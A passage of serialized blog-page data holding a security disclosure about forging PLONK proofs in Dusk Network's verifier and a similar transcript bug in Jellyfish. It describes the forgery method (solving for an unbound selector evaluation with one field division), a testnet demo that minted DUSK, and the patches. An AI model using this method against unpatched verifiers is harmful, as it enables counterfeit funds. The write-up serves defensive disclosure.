(witness)",{"type":22,"tag":6832,"props":149360,"children":149361},{},[149362,149368,149369,149375,149376,149382],{"type":22,"tag":30,"props":149363,"children":149365},{"className":149364},[],[149366],{"type":27,"value":149367},"s_sigma_1_eval",{"type":27,"value":758},{"type":22,"tag":30,"props":149370,"children":149372},{"className":149371},[],[149373],{"type":27,"value":149374},"s_sigma_2_eval",{"type":27,"value":758},{"type":22,"tag":30,"props":149377,"children":149379},{"className":149378},[],[149380],{"type":27,"value":149381},"s_sigma_3_eval",{"type":27,"value":149383}," (permutation)",{"type":22,"tag":6832,"props":149385,"children":149386},{},[149387,149393,149394,149400,149401,149407],{"type":22,"tag":30,"props":149388,"children":149390},{"className":149389},[],[149391],{"type":27,"value":149392},"a_w_eval",{"type":27,"value":758},{"type":22,"tag":30,"props":149395,"children":149397},{"className":149396},[],[149398],{"type":27,"value":149399},"b_w_eval",{"type":27,"value":758},{"type":22,"tag":30,"props":149402,"children":149404},{"className":149403},[],[149405],{"type":27,"value":149406},"d_w_eval",{"type":27,"value":149408}," (shifted witness)",{"type":22,"tag":6832,"props":149410,"children":149411},{},[149412,149418],{"type":22,"tag":30,"props":149413,"children":149415},{"className":149414},[],[149416],{"type":27,"value":149417},"z_eval",{"type":27,"value":149419}," (permutation accumulator)",{"type":22,"tag":23,"props":149421,"children":149422},{},[149423,149425,149429],{"type":27,"value":149424},"But the following selector evaluations were ",{"type":22,"tag":6961,"props":149426,"children":149427},{},[149428],{"type":27,"value":22483},{"type":27,"value":149430}," included:",{"type":22,"tag":6839,"props":149432,"children":149433},{},[149434,149445,149456,149467],{"type":22,"tag":6832,"props":149435,"children":149436},{},[149437,149443],{"type":22,"tag":30,"props":149438,"children":149440},{"className":149439},[],[149441],{"type":27,"value":149442},"q_arith_eval",{"type":27,"value":149444}," (arithmetic selector)",{"type":22,"tag":6832,"props":149446,"children":149447},{},[149448,149454],{"type":22,"tag":30,"props":149449,"children":149451},{"className":149450},[],[149452],{"type":27,"value":149453},"q_c_eval",{"type":27,"value":149455}," (constant selector)",{"type":22,"tag":6832,"props":149457,"children":149458},{},[149459,149465],{"type":22,"tag":30,"props":149460,"children":149462},{"className":149461},[],[149463],{"type":27,"value":149464},"q_l_eval",{"type":27,"value":149466}," (left selector)",{"type":22,"tag":6832,"props":149468,"children":149469},{},[149470,149476],{"type":22,"tag":30,"props":149471,"children":149473},{"className":149472},[],[149474],{"type":27,"value":149475},"q_r_eval",{"type":27,"value":149477}," (right selector)",{"type":22,"tag":23,"props":149479,"children":149480},{},[149481,149483,149490,149491,149498,149499,149506,149507,149514],{"type":27,"value":149482},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":22,"tag":80,"props":149484,"children":149487},{"href":149485,"rel":149486},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[84],[149488],{"type":27,"value":149489},"proof struct",{"type":27,"value":758},{"type":22,"tag":80,"props":149492,"children":149495},{"href":149493,"rel":149494},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[84],[149496],{"type":27,"value":149497},"transcript absorption",{"type":27,"value":758},{"type":22,"tag":80,"props":149500,"children":149503},{"href":149501,"rel":149502},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[84],[149504],{"type":27,"value":149505},"arithmetic widget",{"type":27,"value":758},{"type":22,"tag":80,"props":149508,"children":149511},{"href":149509,"rel":149510},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[84],[149512],{"type":27,"value":149513},"fixed-base ECC widget",{"type":27,"value":149515},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":22,"tag":23,"props":149517,"children":149518},{},[149519,149521,149525],{"type":27,"value":149520},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":22,"tag":6961,"props":149522,"children":149523},{},[149524],{"type":27,"value":22483},{"type":27,"value":149526}," bugs:",{"type":22,"tag":6839,"props":149528,"children":149529},{},[149530,149670],{"type":22,"tag":6832,"props":149531,"children":149532},{},[149533,149535,149580,149582,149588,149590,149595,149596,149601,149602,149607,149609,149615,149617,149662,149664,149669],{"type":27,"value":149534},"There is no prover-supplied ",{"type":22,"tag":30,"props":149536,"children":149538},{"className":149537},[8026,8027],[149539],{"type":22,"tag":101,"props":149540,"children":149542},{"className":149541},[8032],[149543],{"type":22,"tag":101,"props":149544,"children":149546},{"className":149545,"ariaHidden":5608},[8037],[149547],{"type":22,"tag":101,"props":149548,"children":149550},{"className":149549},[8042],[149551,149555,149560,149565,149570,149575],{"type":22,"tag":101,"props":149552,"children":149554},{"className":149553,"style":8154},[8047],[],{"type":22,"tag":101,"props":149556,"children":149558},{"className":149557},[8053,25575],[149559],{"type":27,"value":7187},{"type":22,"tag":101,"props":149561,"children":149563},{"className":149562},[25704],[149564],{"type":27,"value":980},{"type":22,"tag":101,"props":149566,"children":149568},{"className":149567,"style":117111},[8053,25575],[149569],{"type":27,"value":117114},{"type":22,"tag":101,"props":149571,"children":149573},{"className":149572,"style":97040},[8053,25575],[149574],{"type":27,"value":148244},{"type":22,"tag":101,"props":149576,"children":149578},{"className":149577},[25726],[149579],{"type":27,"value":2261},{"type":27,"value":149581}," field at all. ",{"type":22,"tag":30,"props":149583,"children":149585},{"className":149584},[],[149586],{"type":27,"value":149587},"ProofEvaluations",{"type":27,"value":149589}," contains ",{"type":22,"tag":30,"props":149591,"children":149593},{"className":149592},[],[149594],{"type":27,"value":149392},{"type":27,"value":758},{"type":22,"tag":30,"props":149597,"children":149599},{"className":149598},[],[149600],{"type":27,"value":149399},{"type":27,"value":10515},{"type":22,"tag":30,"props":149603,"children":149605},{"className":149604},[],[149606],{"type":27,"value":149406},{"type":27,"value":149608},", but no ",{"type":22,"tag":30,"props":149610,"children":149612},{"className":149611},[],[149613],{"type":27,"value":149614},"c_w_eval",{"type":27,"value":149616},", so the verifier never consumes an unbound ",{"type":22,"tag":30,"props":149618,"children":149620},{"className":149619},[8026,8027],[149621],{"type":22,"tag":101,"props":149622,"children":149624},{"className":149623},[8032],[149625],{"type":22,"tag":101,"props":149626,"children":149628},{"className":149627,"ariaHidden":5608},[8037],[149629],{"type":22,"tag":101,"props":149630,"children":149632},{"className":149631},[8042],[149633,149637,149642,149647,149652,149657],{"type":22,"tag":101,"props":149634,"children":149636},{"className":149635,"style":8154},[8047],[],{"type":22,"tag":101,"props":149638,"children":149640},{"className":149639},[8053,25575],[149641],{"type":27,"value":7187},{"type":22,"tag":101,"props":149643,"children":149645},{"className":149644},[25704],[149646],{"type":27,"value":980},{"type":22,"tag":101,"props":149648,"children":149650},{"className":149649,"style":117111},[8053,25575],[149651],{"type":27,"value":117114},{"type":22,"tag":101,"props":149653,"children":149655},{"className":149654,"style":97040},[8053,25575],[149656],{"type":27,"value":148244},{"type":22,"tag":101,"props":149658,"children":149660},{"className":149659},[25726],[149661],{"type":27,"value":2261},{"type":27,"value":149663}," claim (",{"type":22,"tag":80,"props":149665,"children":149667},{"href":149485,"rel":149666},[84],[149668],{"type":27,"value":149489},{"type":27,"value":24730},{"type":22,"tag":6832,"props":149671,"children":149672},{},[149673,149675,149762,149764,149856,149857,149864],{"type":27,"value":149674},"There is a fourth permutation commitment ",{"type":22,"tag":30,"props":149676,"children":149678},{"className":149677},[8026,8027],[149679],{"type":22,"tag":101,"props":149680,"children":149682},{"className":149681},[8032],[149683],{"type":22,"tag":101,"props":149684,"children":149686},{"className":149685,"ariaHidden":5608},[8037],[149687],{"type":22,"tag":101,"props":149688,"children":149690},{"className":149689},[8042],[149691,149695,149700,149757],{"type":22,"tag":101,"props":149692,"children":149694},{"className":149693,"style":8154},[8047],[],{"type":22,"tag":101,"props":149696,"children":149698},{"className":149697},[25704],[149699],{"type":27,"value":2414},{"type":22,"tag":101,"props":149701,"children":149703},{"className":149702},[8053],[149704,149709],{"type":22,"tag":101,"props":149705,"children":149707},{"className":149706,"style":97040},[8053,25575],[149708],{"type":27,"value":148139},{"type":22,"tag":101,"props":149710,"children":149712},{"className":149711},[8069],[149713],{"type":22,"tag":101,"props":149714,"children":149716},{"className":149715},[8074,25629],[149717,149746],{"type":22,"tag":101,"props":149718,"children":149720},{"className":149719},[8079],[149721,149741],{"type":22,"tag":101,"props":149722,"children":149724},{"className":149723,"style":96606},[8084],[149725],{"type":22,"tag":101,"props":149726,"children":149727},{"style":97087},[149728,149732],{"type":22,"tag":101,"props":149729,"children":149731},{"className":149730,"style":8094},[8093],[],{"type":22,"tag":101,"props":149733,"children":149735},{"className":149734},[8099,8100,8101,8102],[149736],{"type":22,"tag":101,"props":149737,"children":149739},{"className":149738},[8053,8102],[149740],{"type":27,"value":21526},{"type":22,"tag":101,"props":149742,"children":149744},{"className":149743},[25732],[149745],{"type":27,"value":25735},{"type":22,"tag":101,"props":149747,"children":149749},{"className":149748},[8079],[149750],{"type":22,"tag":101,"props":149751,"children":149753},{"className":149752,"style":96637},[8084],[149754],{"type":22,"tag":101,"props":149755,"children":149756},{},[],{"type":22,"tag":101,"props":149758,"children":149760},{"className":149759},[25726],[149761],{"type":27,"value":19412},{"type":27,"value":149763}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":22,"tag":30,"props":149765,"children":149767},{"className":149766},[8026,8027],[149768],{"type":22,"tag":101,"props":149769,"children":149771},{"className":149770},[8032],[149772],{"type":22,"tag":101,"props":149773,"children":149775},{"className":149774,"ariaHidden":5608},[8037],[149776],{"type":22,"tag":101,"props":149777,"children":149779},{"className":149778},[8042],[149780,149784,149841,149846,149851],{"type":22,"tag":101,"props":149781,"children":149783},{"className":149782,"style":8154},[8047],[],{"type":22,"tag":101,"props":149785,"children":149787},{"className":149786},[8053],[149788,149793],{"type":22,"tag":101,"props":149789,"children":149791},{"className":149790,"style":97040},[8053,25575],[149792],{"type":27,"value":148139},{"type":22,"tag":101,"props":149794,"children":149796},{"className":149795},[8069],[149797],{"type":22,"tag":101,"props":149798,"children":149800},{"className":149799},[8074,25629],[149801,149830],{"type":22,"tag":101,"props":149802,"children":149804},{"className":149803},[8079],[149805,149825],{"type":22,"tag":101,"props":149806,"children":149808},{"className":149807,"style":96606},[8084],[149809],{"type":22,"tag":101,"props":149810,"children":149811},{"style":97087},[149812,149816],{"type":22,"tag":101,"props":149813,"children":149815},{"className":149814,"style":8094},[8093],[],{"type":22,"tag":101,"props":149817,"children":149819},{"className":149818},[8099,8100,8101,8102],[149820],{"type":22,"tag":101,"props":149821,"children":149823},{"className":149822},[8053,8102],[149824],{"type":27,"value":21526},{"type":22,"tag":101,"props":149826,"children":149828},{"className":149827},[25732],[149829],{"type":27,"value":25735},{"type":22,"tag":101,"props":149831,"children":149833},{"className":149832},[8079],[149834],{"type":22,"tag":101,"props":149835,"children":149837},{"className":149836,"style":96637},[8084],[149838],{"type":22,"tag":101,"props":149839,"children":149840},{},[],{"type":22,"tag":101,"props":149842,"children":149844},{"className":149843},[25704],[149845],{"type":27,"value":980},{"type":22,"tag":101,"props":149847,"children":149849},{"className":149848,"style":117111},[8053,25575],[149850],{"type":27,"value":117114},{"type":22,"tag":101,"props":149852,"children":149854},{"className":149853},[25726],[149855],{"type":27,"value":2261},{"type":27,"value":3603},{"type":22,"tag":80,"props":149858,"children":149861},{"href":149859,"rel":149860},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[84],[149862],{"type":27,"value":149863},"permutation verifier key",{"type":27,"value":24730},{"type":22,"tag":23,"props":149866,"children":149867},{},[149868,149870,149880],{"type":27,"value":149869},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":22,"tag":80,"props":149871,"children":149874},{"href":149872,"rel":149873},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[84],[149875],{"type":22,"tag":30,"props":149876,"children":149878},{"className":149877},[],[149879],{"type":27,"value":149321},{"type":27,"value":149881},", which leaves the master equation underconstrained.",{"type":22,"tag":23,"props":149883,"children":149884},{},[149885],{"type":22,"tag":7959,"props":149886,"children":149889},{"alt":149887,"src":149888},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":22,"tag":1398,"props":149891,"children":149892},{},[],{"type":22,"tag":53,"props":149894,"children":149896},{"id":149895},"the-exploitation",[149897],{"type":27,"value":149898},"The exploitation",{"type":22,"tag":23,"props":149900,"children":149901},{},[149902],{"type":27,"value":149903},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":22,"tag":23,"props":149905,"children":149906},{},[149907,149909,149915,149917,149922,149924,149929,149931,149937],{"type":27,"value":149908},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":22,"tag":30,"props":149910,"children":149912},{"className":149911},[],[149913],{"type":27,"value":149914},"z_challenge",{"type":27,"value":149916},", it computes what the linearization polynomial ",{"type":22,"tag":6961,"props":149918,"children":149919},{},[149920],{"type":27,"value":149921},"should",{"type":27,"value":149923}," evaluate to for the pairing check to pass, then solves for ",{"type":22,"tag":30,"props":149925,"children":149927},{"className":149926},[],[149928],{"type":27,"value":149442},{"type":27,"value":149930},", the single free variable that makes the verification equation balance (setting ",{"type":22,"tag":30,"props":149932,"children":149934},{"className":149933},[],[149935],{"type":27,"value":149936},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":27,"value":24730},{"type":22,"tag":23,"props":149939,"children":149940},{},[149941],{"type":22,"tag":7959,"props":149942,"children":149945},{"alt":149943,"src":149944},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":22,"tag":23,"props":149947,"children":149948},{},[149949,149951,149991,149993,150018,150020,150025],{"type":27,"value":149950},"To achieve this one may compute the linearization polynomial ",{"type":22,"tag":30,"props":149952,"children":149954},{"className":149953},[8026,8027],[149955],{"type":22,"tag":101,"props":149956,"children":149958},{"className":149957},[8032],[149959],{"type":22,"tag":101,"props":149960,"children":149962},{"className":149961,"ariaHidden":5608},[8037],[149963],{"type":22,"tag":101,"props":149964,"children":149966},{"className":149965},[8042],[149967,149971,149976,149981,149986],{"type":22,"tag":101,"props":149968,"children":149970},{"className":149969,"style":8154},[8047],[],{"type":22,"tag":101,"props":149972,"children":149974},{"className":149973,"style":96554},[8053,25575],[149975],{"type":27,"value":97373},{"type":22,"tag":101,"props":149977,"children":149979},{"className":149978},[25704],[149980],{"type":27,"value":980},{"type":22,"tag":101,"props":149982,"children":149984},{"className":149983},[8053,25575],[149985],{"type":27,"value":23266},{"type":22,"tag":101,"props":149987,"children":149989},{"className":149988},[25726],[149990],{"type":27,"value":2261},{"type":27,"value":149992}," with all selectors set to zero, evaluating it at ",{"type":22,"tag":30,"props":149994,"children":149996},{"className":149995},[8026,8027],[149997],{"type":22,"tag":101,"props":149998,"children":150000},{"className":149999},[8032],[150001],{"type":22,"tag":101,"props":150002,"children":150004},{"className":150003,"ariaHidden":5608},[8037],[150005],{"type":22,"tag":101,"props":150006,"children":150008},{"className":150007},[8042],[150009,150013],{"type":22,"tag":101,"props":150010,"children":150012},{"className":150011,"style":114395},[8047],[],{"type":22,"tag":101,"props":150014,"children":150016},{"className":150015,"style":117111},[8053,25575],[150017],{"type":27,"value":117114},{"type":27,"value":150019},", and comparing to the target value; the difference divided by the coefficient of ",{"type":22,"tag":30,"props":150021,"children":150023},{"className":150022},[],[150024],{"type":27,"value":149442},{"type":27,"value":150026}," gives the required value in a single field division.",{"type":22,"tag":1398,"props":150028,"children":150029},{},[],{"type":22,"tag":53,"props":150031,"children":150033},{"id":150032},"impact-on-dusk-network",[150034],{"type":27,"value":150035},"Impact on Dusk Network",{"type":22,"tag":23,"props":150037,"children":150038},{},[150039,150041,150048],{"type":27,"value":150040},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":22,"tag":80,"props":150042,"children":150045},{"href":150043,"rel":150044},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[84],[150046],{"type":27,"value":150047},"preverify path",{"type":27,"value":150049},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":22,"tag":6828,"props":150051,"children":150052},{},[150053,150058,150063],{"type":22,"tag":6832,"props":150054,"children":150055},{},[150056],{"type":27,"value":150057},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":22,"tag":6832,"props":150059,"children":150060},{},[150061],{"type":27,"value":150062},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":22,"tag":6832,"props":150064,"children":150065},{},[150066],{"type":27,"value":150067},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":22,"tag":23,"props":150069,"children":150070},{},[150071],{"type":27,"value":150072},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":22,"tag":6828,"props":150074,"children":150075},{},[150076,150081,150091,150103,150108],{"type":22,"tag":6832,"props":150077,"children":150078},{},[150079],{"type":27,"value":150080},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":22,"tag":6832,"props":150082,"children":150083},{},[150084,150086],{"type":27,"value":150085},"The malicious wallet forges a PLONK proof to create ",{"type":22,"tag":9370,"props":150087,"children":150088},{},[150089],{"type":27,"value":150090},"2000 DUSK from nothing",{"type":22,"tag":6832,"props":150092,"children":150093},{},[150094,150096,150101],{"type":27,"value":150095},"The malicious wallet transfers ",{"type":22,"tag":9370,"props":150097,"children":150098},{},[150099],{"type":27,"value":150100},"1337 DUSK",{"type":27,"value":150102}," to the honest wallet using a normal (honestly-proved) transaction",{"type":22,"tag":6832,"props":150104,"children":150105},{},[150106],{"type":27,"value":150107},"The honest node validates both transactions and mines them into blocks",{"type":22,"tag":6832,"props":150109,"children":150110},{},[150111],{"type":27,"value":150112},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":22,"tag":23,"props":150114,"children":150115},{},[150116],{"type":22,"tag":7959,"props":150117,"children":150120},{"alt":150118,"src":150119},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":22,"tag":23,"props":150122,"children":150123},{},[150124,150126,150132,150134,150141],{"type":27,"value":150125},"At the time of discovery, DUSK's market cap was roughly ",{"type":22,"tag":80,"props":150127,"children":150129},{"href":145427,"rel":150128},[84],[150130],{"type":27,"value":150131},"~60M",{"type":27,"value":150133},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":22,"tag":80,"props":150135,"children":150138},{"href":150136,"rel":150137},"https://neptune.cash/articles/critical-vulnerability-disclosure",[84],[150139],{"type":27,"value":150140},"Triton VM vulnerability",{"type":27,"value":231},{"type":22,"tag":1398,"props":150143,"children":150144},{},[],{"type":22,"tag":53,"props":150146,"children":150148},{"id":150147},"the-fix",[150149],{"type":27,"value":150150},"The fix",{"type":22,"tag":23,"props":150152,"children":150153},{},[150154],{"type":27,"value":150155},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":22,"tag":6839,"props":150157,"children":150158},{},[150159,150204],{"type":22,"tag":6832,"props":150160,"children":150161},{},[150162,150164,150175,150177,150183,150184,150190,150191,150197,150198],{"type":27,"value":150163},"Extend ",{"type":22,"tag":80,"props":150165,"children":150168},{"href":150166,"rel":150167},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[84],[150169],{"type":22,"tag":30,"props":150170,"children":150172},{"className":150171},[],[150173],{"type":27,"value":150174},"compute_aggregate_witness",{"type":27,"value":150176}," on the prover side to also include ",{"type":22,"tag":30,"props":150178,"children":150180},{"className":150179},[],[150181],{"type":27,"value":150182},"q_arith",{"type":27,"value":758},{"type":22,"tag":30,"props":150185,"children":150187},{"className":150186},[],[150188],{"type":27,"value":150189},"q_c",{"type":27,"value":758},{"type":22,"tag":30,"props":150192,"children":150194},{"className":150193},[],[150195],{"type":27,"value":150196},"q_l",{"type":27,"value":10515},{"type":22,"tag":30,"props":150199,"children":150201},{"className":150200},[],[150202],{"type":27,"value":150203},"q_r",{"type":22,"tag":6832,"props":150205,"children":150206},{},[150207,150209,150219],{"type":27,"value":150208},"Add their evaluations to ",{"type":22,"tag":80,"props":150210,"children":150213},{"href":150211,"rel":150212},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[84],[150214],{"type":22,"tag":30,"props":150215,"children":150217},{"className":150216},[],[150218],{"type":27,"value":149321},{"type":27,"value":150220}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":22,"tag":23,"props":150222,"children":150223},{},[150224,150226,150233],{"type":27,"value":150225},"This was done in ",{"type":22,"tag":80,"props":150227,"children":150230},{"href":150228,"rel":150229},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[84],[150231],{"type":27,"value":150232},"commit 645265b7",{"type":27,"value":150234},", which landed on February 14, 2026.",{"type":22,"tag":1398,"props":150236,"children":150237},{},[],{"type":22,"tag":53,"props":150239,"children":150241},{"id":150240},"why-was-this-missed",[150242],{"type":27,"value":150243},"Why was this missed?",{"type":22,"tag":23,"props":150245,"children":150246},{},[150247,150249,150256,150257,150264,150266,150273,150275,150282],{"type":27,"value":150248},"Dusk's stack had been heavily audited: a ",{"type":22,"tag":80,"props":150250,"children":150253},{"href":150251,"rel":150252},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[84],[150254],{"type":27,"value":150255},"December 2023 audit of dusk-plonk",{"type":27,"value":127897},{"type":22,"tag":80,"props":150258,"children":150261},{"href":150259,"rel":150260},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[84],[150262],{"type":27,"value":150263},"September 2024 audit of Phoenix",{"type":27,"value":150265},", and a ",{"type":22,"tag":80,"props":150267,"children":150270},{"href":150268,"rel":150269},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[84],[150271],{"type":27,"value":150272},"September 2024 Oak Security audit of the Rusk node library",{"type":27,"value":150274},". Dusk's public ",{"type":22,"tag":80,"props":150276,"children":150279},{"href":150277,"rel":150278},"https://dusk.network/news/audits-overview",[84],[150280],{"type":27,"value":150281},"audits overview",{"type":27,"value":150283}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":22,"tag":23,"props":150285,"children":150286},{},[150287,150289,150294],{"type":27,"value":150288},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":22,"tag":6961,"props":150290,"children":150291},{},[150292],{"type":27,"value":150293},"evaluations",{"type":27,"value":231},{"type":22,"tag":23,"props":150296,"children":150297},{},[150298],{"type":27,"value":150299},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":22,"tag":23,"props":150301,"children":150302},{},[150303],{"type":27,"value":150304},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":22,"tag":53,"props":150306,"children":150308},{"id":150307},"a-similar-bug-in-espresso-systems-jellyfish",[150309],{"type":27,"value":150310},"A similar bug in Espresso Systems' Jellyfish",{"type":22,"tag":23,"props":150312,"children":150313},{},[150314,150316,150323],{"type":27,"value":150315},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":22,"tag":80,"props":150317,"children":150320},{"href":150318,"rel":150319},"https://github.com/EspressoSystems/jellyfish/",[84],[150321],{"type":27,"value":150322},"jf-plonk",{"type":27,"value":150324}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":22,"tag":23,"props":150326,"children":150327},{},[150328,150330,150337,150339,150350,150352,150377,150379,150404],{"type":27,"value":150329},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":22,"tag":80,"props":150331,"children":150334},{"href":150332,"rel":150333},"https://eprint.iacr.org/2020/315",[84],[150335],{"type":27,"value":150336},"Plookup",{"type":27,"value":150338}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":22,"tag":80,"props":150340,"children":150343},{"href":150341,"rel":150342},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[84],[150344],{"type":22,"tag":30,"props":150345,"children":150347},{"className":150346},[],[150348],{"type":27,"value":150349},"append_plookup_evaluations",{"type":27,"value":150351}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":22,"tag":30,"props":150353,"children":150355},{"className":150354},[8026,8027],[150356],{"type":22,"tag":101,"props":150357,"children":150359},{"className":150358},[8032],[150360],{"type":22,"tag":101,"props":150361,"children":150363},{"className":150362,"ariaHidden":5608},[8037],[150364],{"type":22,"tag":101,"props":150365,"children":150367},{"className":150366},[8042],[150368,150372],{"type":22,"tag":101,"props":150369,"children":150371},{"className":150370,"style":114395},[8047],[],{"type":22,"tag":101,"props":150373,"children":150375},{"className":150374,"style":97040},[8053,25575],[150376],{"type":27,"value":117458},{"type":27,"value":150378}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":22,"tag":30,"props":150380,"children":150382},{"className":150381},[8026,8027],[150383],{"type":22,"tag":101,"props":150384,"children":150386},{"className":150385},[8032],[150387],{"type":22,"tag":101,"props":150388,"children":150390},{"className":150389,"ariaHidden":5608},[8037],[150391],{"type":22,"tag":101,"props":150392,"children":150394},{"className":150393},[8042],[150395,150399],{"type":22,"tag":101,"props":150396,"children":150398},{"className":150397,"style":114395},[8047],[],{"type":22,"tag":101,"props":150400,"children":150402},{"className":150401,"style":97040},[8053,25575],[150403],{"type":27,"value":117458},{"type":27,"value":150405},", so the prover can adjust them after the fact to make the check pass.",{"type":22,"tag":23,"props":150407,"children":150408},{},[150409,150411,150417,150419,150425],{"type":27,"value":150410},"The attack requires modifying a single evaluation (",{"type":22,"tag":30,"props":150412,"children":150414},{"className":150413},[],[150415],{"type":27,"value":150416},"key_table_next_eval",{"type":27,"value":150418},") by ",{"type":22,"tag":30,"props":150420,"children":150422},{"className":150421},[],[150423],{"type":27,"value":150424},"delta / (u * v^3)",{"type":27,"value":150426}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":22,"tag":23,"props":150428,"children":150429},{},[150430,150432,150439,150441,150452],{"type":27,"value":150431},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":22,"tag":80,"props":150433,"children":150436},{"href":150434,"rel":150435},"https://github.com/EspressoSystems/jellyfish/pull/867",[84],[150437],{"type":27,"value":150438},"PR #867",{"type":27,"value":150440}," fixed the issue and was tagged as ",{"type":22,"tag":80,"props":150442,"children":150445},{"href":150443,"rel":150444},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[84],[150446],{"type":22,"tag":30,"props":150447,"children":150449},{"className":150448},[],[150450],{"type":27,"value":150451},"jf-plonk-v0.8.0",{"type":27,"value":150453}," on March 18, 2026.",{"type":22,"tag":1398,"props":150455,"children":150456},{},[],{"type":22,"tag":53,"props":150458,"children":150460},{"id":150459},"toward-standardization",[150461],{"type":27,"value":150462},"Toward standardization",{"type":22,"tag":23,"props":150464,"children":150465},{},[150466,150468,150475],{"type":27,"value":150467},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":22,"tag":80,"props":150469,"children":150472},{"href":150470,"rel":150471},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[84],[150473],{"type":27,"value":150474},"similar patterns appear across zkVMs",{"type":27,"value":150476},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":22,"tag":23,"props":150478,"children":150479},{},[150480],{"type":27,"value":150481},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":22,"tag":23,"props":150483,"children":150484},{},[150485],{"type":27,"value":150486},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, 